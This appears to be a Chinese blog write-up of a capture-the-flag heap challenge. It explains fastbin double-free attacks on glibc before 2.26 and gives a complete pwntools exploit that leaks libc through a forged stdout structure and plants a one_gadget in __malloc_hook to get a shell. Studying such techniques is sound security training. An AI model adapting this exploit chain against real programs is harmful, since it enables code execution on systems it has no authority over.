常回家看看之fastbin_attack

news2024/9/20 11:26:39

常回家看看之fastbin_attack

原理分析

fastbin属于小堆块的管理,这里说的fastbin_attack大多指glibc2.26之前的手法,因为自glibc2.26以后,glibc迎来了一位新成员tcachebin,它减少了堆的开销,使堆管理变得迅速而高效,而且申请的小堆块会优先进入tachebin中,只有tachebin其中一个链表满了再次申请一个相同大小的堆块,若是小堆块再次free会进入fastbin中。

下面主要看一下fastbin,在glibc2.26以前对fastbin double free的检查没有那么严格,也就是说,如果程序里面有UAF漏洞,我们只要free第一个堆块之后free一个别的堆块,再次free第一个堆块,导致double free,实现堆块的伪造和堆块重叠。

也就是如下这种情况

在pwngdb里面是这样的

那么下次申请堆块的时候会把chunk0申请走,如果此时修改了chunk0的fd指针那么就导致把fake_chunk加入到fastbin链表中

就是如下这种情况

那么就可以实现堆块重叠

例题演示

题目保护情况

64位ida逆向

菜单

add函数,存在堆块数量上限,申请堆块之前申请了一个0x28大小的控制堆块,在控制堆块+8位置写上数据堆块地址,然后最后可以向控制堆块+16处的地址可以输入23字节的数据

free函数,存在UAF漏洞,及可以double free

show函数,没有实际的功能

分析

程序没有show功能,我们申请堆块的时候先申请到的控制堆块,然后才是自己输入的size的堆块,但是大小有限制导致不难申请到unsortbin范围大小的chunk,但是我们可以向控制堆块输入内容,导致可以伪造chunk的size位,泄露libc地址只能位置堆块实现堆块重叠,程序存在UAF漏洞,可以double free 从而可以伪造堆块,修改size为unsortbin 大小的范围然后free掉堆块

此时堆块情况

但是此时堆块size位为0x91,申请堆块的时候fastbin有检查,因此我们要复原堆块的size,但是由于没有show功能,所以可以申请堆块到IO结构体上,修改_IO_write_base 导致泄露libc地址,远程的话需要爆破高字节。

堆块7为了防止申请堆块的时候控制堆块切割unsortbin chunk。

然后用同样的手法在__malloc_hook 和 _realloc_hook布置上one_gadget,即可拿到shell

EXP
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
​
io = process('../pwn162')
#io = remote('pwn.challenge.ctf.show', 28304)
libc = ELF('/home/su/PWN/VIPshow/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
​
def Add(size,name,msg=8 * b'\x00' + p64(0x71) + b'\x00' * 7):
    io.sendlineafter("Your choice : ", '1')
    io.sendlineafter("size of the daniu's name: \n", str(size))
    io.sendafter("daniu's name:\n", name)
    io.sendlineafter("daniu's message:\n", msg)
​
​
​
​
def Delete(idx):
    io.sendlineafter("Your choice : ", '3')
    io.sendlineafter("daniu's index:\n", str(idx))
    io.recvline()
​
​
Add(0x60, 14 * p64(0x71))  # 0
Add(0x60, 14 * p64(0x71))  # 1
#gdb.attach(io)
Delete(0)
Delete(1)
Delete(0)
gdb.attach(io)
Add(0x60, '\x20')  # 2
Add(0x60, '\x20')  # 3
Add(0x60, '\x20')  # 4
Add(0x60, p64(0) + p64(0x71))  # 5
#gdb.attach(io)
Delete(0)
Delete(5)
Add(0x60, p64(0) + p64(0x91))  # 6
Add(0x20, 'bbbb')  # 7
Delete(0)
Delete(5)
Delete(7)
Add(0x60, p64(0) + p64(0x71) + b'\xdd\x45')  # 8
#gdb.attach(io)
Delete(7)
Add(0x60, 'deadbeef')  # 9
Delete(7)
#gdb.attach(io)
io.sendlineafter("Your choice : ", '1')
io.sendlineafter("size of the daniu's name: \n", str(0x60))
io.sendafter("daniu's name:\n", 0x33 * b'\x00' + p64(0x0FBAD1887) + p64(0) * 3 + b'\x58')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x3c46a3
success('libc_base---->'+hex(libc_base))
pause()
malloc_hook = libc_base +libc.sym['__malloc_hook']
one = libc_base + 0xf1147
realloc  = libc_base   + libc.sym['__realloc_hook']
​
​
​
#gdb.attach(io)
io.sendline('a')
Delete(5)
Delete(0)
Delete(5)
​
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
​
Delete(7)
payload = b'a'*0xb + p64(one) + p64(realloc) 
#gdb.attach(io)
Add(0x60,payload)
#gdb.attach(io)
io.sendlineafter("Your choice : ", '1')
​
​
​
​
​
io.interactive()
​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1974641.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Android】安卓四大组件之ContentProvider知识总结

文章目录 Uri介绍组成 ContentResolver用法获取对象增删改查读取联系人获取权限配置ListView ContentProvider方法步骤1、注册2、继承onCreateUriMatcherinsertdeleteupdatequerygetType ContentProvider与ContentResolver Uri 介绍 统一资源标识符(URI&#xff09…

nacos服务注册流程

一、客户端自动注册实例流程 1.首先客户端需要引入服务发现包 <groupId>com.alibaba.cloud</groupId><artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId><version>2.2.6.RELEASE</version> 2. NacosServiceRegist…

Linux中,MySQL存储引擎

存储引擎 在数据库中保存的是一张张有着千丝万缕关系的表&#xff0c;所以表设计的好坏&#xff0c;将直接影响着整个数据库。而在设计表的时候&#xff0c;最关注的一个问题是使用什么存储引擎。 MySQL中的数据用各种不同的技术存储在文件(或者内存)中。这些技术中的每一种都…

【书生大模型实战营第三期 | 入门岛第1关-Linux基础知识】

学习心得&#xff1a;掌握InternStudio开发机与Linux基础 摘要 通过阅读这份详尽的InternStudio开发机与Linux基础教程&#xff0c;我对如何在云端算力平台上进行开发工作有了初步的了解。学习过程中&#xff0c;我不仅掌握了SSH远程连接和端口映射的技巧&#xff0c;还对Lin…

将后台传来的数据,转成easyui-tree所需格式

easyui 中文文档 EasyUI Tree组件需要一个包含特定属性&#xff08;如id, text, children等&#xff09;的JSON对象数组来初始化。 而后台返回的数据&#xff0c;它可能不是我们直接能拿来用的。 方式一&#xff1a;使用loadFilter函数处理来自Web Services的JSON数据。 $(#…

虚拟机处理yum缓存堆积问题

虚拟机处理yum缓存堆积问题 场景&#xff1a;虚拟机用的时间长了&#xff0c;网络不好&#xff0c;yum显示无法安装。此时我们因考虑到Yum软件包管理器的仓库配置文件地方对方太多而导致的问题。 解决方案&#xff1a; 一&#xff1a;首先检查虚拟机设置&#xff1a;确保设备…

东方古全艺藏委八一画展翰墨抒真情,当代艺术家挥笔颂军魂

在2024年这个意义非凡的夏日&#xff0c;随着“八一”建军节的脚步日益临近&#xff0c;一场旨在铭记历史、颂扬英雄、传承精神的书画盛宴——“中国东方文化研究会艺术品收藏交流委员会书画中心”举办的纪念中国人民解放军建军 97 周年书画邀请展&#xff0c;于8月1日在北京饭…

PTA—基础编程题目集(7-19)

7-19 支票面额 目录 题目描述 输入格式&#xff1a; 输出格式&#xff1a; 输入样例1&#xff1a; 输出样例1&#xff1a; 输入样例2&#xff1a; 输出样例2&#xff1a; 参考代码 总结 题目描述 一个采购员去银行兑换一张y元f分的支票&#xff0c;结果出纳员错给了…

Golang内存管理——堆分配

go语言的内存自动分配和回收的&#xff0c;因此内存的使用流程大致为&#xff1a;获取内存——分配内存——回收内存——再分配内存。 其中分配内存分为两方面&#xff0c;堆内存分配和栈内存分配&#xff0c;堆内存和栈内存是两种不同的分配方式&#xff0c;本篇文章主要是堆…

Leetcode刷题——9 基本数据结构(哈希表,并查集)

注&#xff1a;以下代码均为c 1. 哈希表 1.1 重复的DNA序列 什么数据结构既可以保存数据又可以计数&#xff1a;哈希表 vector<string> findRepeatedDnaSequences(string s) {unordered_map<string, int> hash;vector<string> ans;for(int i 0; i 10 &l…

Docker部署RabbitMQ指南

1. Rabbit概述 RabbitMQ是基于Erlang语言开发的开源消息通信中间件&#xff0c;官方地址&#xff1a;https://www.rabbitmq.com/。 2. 单机部署 我们在CentOS7虚拟机中使用Docker来安装。 2.1 下载镜像 方式一&#xff1a;在线拉取 docker pull rabbitmq:3-management 方…

Linux 内核源码分析---文件系统关联与字符设备操作

文件系统关联 设备文件都是由标准函数处理&#xff0c;类似于普通文件。设备文件也是通过虚拟文件系统来管理的&#xff0c;和普通文件都是通过完全相同的接口访问。 inode 中设备文件的成员数据 虚拟文件系统每个文件都关联到一个 inode&#xff0c;用于管理文件的属性。 …

RIP、OSPF 协议详解 / Stub/Totally Stub/NSSA/Totally NSSA 区域测试

注&#xff1a;原出处 https://javaforall.cn/204275.html 图片已挂。下文来自 腾讯云 全栈君 RIP、OSPF 协议详解 1、路由协议简介 在互联网中&#xff0c;一个自治系统 (AS) 是一个有权自主地决定在本系统中应采用何种路由协议的小型单位。这个网络单位可以是一个简单的网络…

我们如何提高 Baklib 的 SEO 性能

搜索引擎已经成为我们日常生活中不可或缺的一部分&#xff1b;谷歌甚至成为英语中的动词。因此&#xff0c;每个企业都需要关注其搜索引擎排名。在 Baklib&#xff0c;我们最近遇到了 SEO 排名的挑战。因此&#xff0c;在我们讨论这个问题之前&#xff0c;让我们先了解一下爬行…

宠物空气净化器可以除毛吗?室内浮毛空气净化器推荐

家里养了5只猫&#xff0c;满天飞的猫毛发&#xff0c;随风飘到各个角落&#xff0c;可以说苦不堪言。真的不建议养猫&#xff0c;除非你能接受空气中飞舞着浮毛&#xff0c;衣服、床、筷子、鼻子里全都是猫毛&#xff0c;拉臭臭有异味等等。感觉到处都被猫毛覆盖了&#xff0c…

【多线程】线程状态与并发三大特性的细节剖析

这篇文章主要用于对于多线程的一些查缺补漏。 一、 线程的状态 1&#xff0c;操作系统层面&#xff0c;线程的5种状态 关于线程有几种状态&#xff0c;有多种说法&#xff0c;5、6、7都有。 首先对于操作系统来说&#xff0c;只有5种状态&#xff0c;状态如下新建&#xff…

mac|安装hashcat(压缩包密码p解)

一、安装Macports&#xff08;如果有brew就不用这一步&#xff09; 根据官网文档&#xff1a;The MacPorts Project -- Download & Installation&#xff0c;安装步骤如下 1、下载MacPorts&#xff0c;这里我用的是tar.gz &#xff0c;可以通过keka&#xff08;keka安装在…

《pygame游戏开发实战指南》第三节 理解pygame中的坐标体系

pygame中的坐标体系非常的简单&#xff0c;其实就是一句话&#xff1a;任何对象的左上角都为坐标原点(0, 0)&#xff0c;向右为X轴正方向&#xff0c;向下为Y轴正方向。如下图所示。本节主要通过一些示例来带大家理解这一句话。如果读者已经理解的话&#xff0c;可以直接跳过这…

iPhone不下载APP直接投屏到电脑,这些投影设置你会用吗【电脑投影设置需添加】

最近小编一直在追唐朝诡事录之西行&#xff0c;太好看了&#xff0c;就是手机屏幕有点小&#xff0c;虽然也可以在电脑上看&#xff0c;但是小编心血来潮想投屏到此电脑看看&#xff0c;因此就写了这篇文章。 ①首先打开电脑的设置&#xff0c;打开系统 ②左侧栏中找到投影到此…

学习Java的日子 Day63 文件上传,文件下载,上传头像案例

文件上传下载 1.文件上传 文件上传的应用 比如个人信息的管理&#xff0c;上传头像 比如商品信息的管理&#xff0c;上传商品的图片 这些都需要通过浏览器客户端将图片上传到服务器的磁盘上 2.文件上传原理 所谓的文件上传就是服务器端通过request对象获取输入流&#xff0c;将…